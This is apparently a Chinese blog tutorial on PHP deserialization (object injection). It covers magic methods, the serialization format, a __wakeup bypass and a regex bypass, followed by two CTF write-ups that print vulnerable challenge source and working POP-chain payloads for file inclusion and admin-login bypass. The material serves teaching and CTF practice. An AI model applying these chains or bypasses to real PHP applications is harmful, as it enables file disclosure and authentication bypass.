今天有空系统学习下php反序列化的内容
反序列化:
有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为什么会有PHP反序列化漏洞:
PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。
魔法函数:
construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
toString:当对象被当做一个字符串使用时调用。
sleep: 序列化对象之前就调用此方法(其返回需要一个数组)
wakeup: 反序列化恢复对象之前调用该方法
call: 当调用对象中不存在的方法会自动调用该方法。
get: 在调用私有属性的时候会自动执行
isset(): 在不可访问的属性上调用isset()或empty()触发
unset(): 在不可访问的属性上使用unset()时触发
invoke(),调用函数的方式调用一个对象时的回应方法
在php官方文档中也有说明 魔术方法
类属性:
public 公有
private 私有
protect 保护
他们三个在调用并输出得到的结果会有所不同,我们来通过具体代码了解下
<?php
class Test{
public $test2="hello world";
private $test1='hello world';
protected $test3='hello world';
}
$a=new Test();
echo serialize($a);
//O:4:"Test":3:{s:5:"test2";s:11:"hello world";s:11:"Testtest1";s:11:"hello world";s:8:"*test3";s:11:"hello world";}
可以很明显的发现,在输出不同属性的类时候字符串的长度会有不同。
//O:4:"Test":3:{s:5:"test2";s:11:"hello world";s:11:"\00Test\00test1";s:11:"hello world";s:8:"\00*\00test3";s:11:"hello world";}
private的参数被反序列化后变成 \00Test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
这序列化的内容都有什么含义呢?
a <span class="token operator">-</span> array b <span class="token operator">-</span> <span class="token builtin">boolean</span>
d <span class="token operator">-</span> double i <span class="token operator">-</span> integer
o <span class="token operator">-</span> common object r <span class="token operator">-</span> reference
s <span class="token operator">-</span> <span class="token builtin">string</span> <span class="token constant">C</span> <span class="token operator">-</span> custom object
<span class="token constant">O</span> <span class="token operator">-</span> <span class="token keyword">class</span> <span class="token class-name">N</span> <span class="token operator">-</span> <span class="token keyword">null</span>
<span class="token constant">R</span> <span class="token operator">-</span> pointer reference <span class="token constant">U</span> <span class="token operator">-</span> unicode <span class="token builtin">string</span>
官方定义:
可能看到上面的解释还是看不懂如何构造POP链,如何触发某魔法函数
我们先从官方文档中了解一下他们
__sleep()与__wakeup():
__toSring():
__invoke():
如何利用:
toString触发条件: echo ($obj) / print($obj) 打印时会触发 字符串连接时 格式化字符串时 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 格式化SQL语句,绑定参数时 数组中有字符串时
destruct触发条件: 和构造函数相反,当对象所在函数调用完毕后执行。
wakeup失效:php版本< 5.6.25 | < 7.0.10
当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过wakeup()的执行
使用+
绕过正则 例:
preg_match('/[oc]:\d+:/i', $var)
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
etc.
从几道题看反序列化:
MRCTF2020 EZPOP
打开靶机,直接给了源码:
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source.;
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
审计:
首先我们找找在哪里可以读到文件很明显的发现了Modifier类中有include,而想要调用这个函数,我们需要调用invoke()这个魔术方法,通过上面的知识我们知道
invoke()当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。
这时候就需要寻找哪个魔术方法返回了函数,很明显发现了Test类的get方法 return function,而get方法如何调用呢?
get: 当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用get(),
看到Show类 有个construct()魔术方法 创建新对象的时候会自动调用这个方法,toString() 魔术方法当echo 一个对象时会自动触发__toString()魔术方法
所以要echo include()里的内容,需要让source等于一个对象
解题:
调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发get()魔术方法,将Modifier这个类变成一个函数,从而调用invoke()方法,进而调用include()函数,让source 等于对象,进而触发__toString方法,输出内容
也就是 触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php
$a=new Show(); $a->source=$a; $b=new Test(); $a->str=$b; $c=new Modifier(); $b->p=$c; $a=serialize($a); echo $a;
传入就可以获得flag了
[GYCTF2020]Easyphp
p3师傅的题
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User {
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
前面的代码含义就是登陆就给flag,主要是反序列化的内容
UpdateHepler::destruct()->User::toString->Info::Call()->dbCtrl::login()
首先在user类中发现反序列化函数
跟进发现调用了UpdateHelper,跟进
发现会直接调用魔法函数destruct,同时这里echo字符串,会触发 toString,
在user类中找到了
但是好像用不上
这里的call可能我们会用到
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c);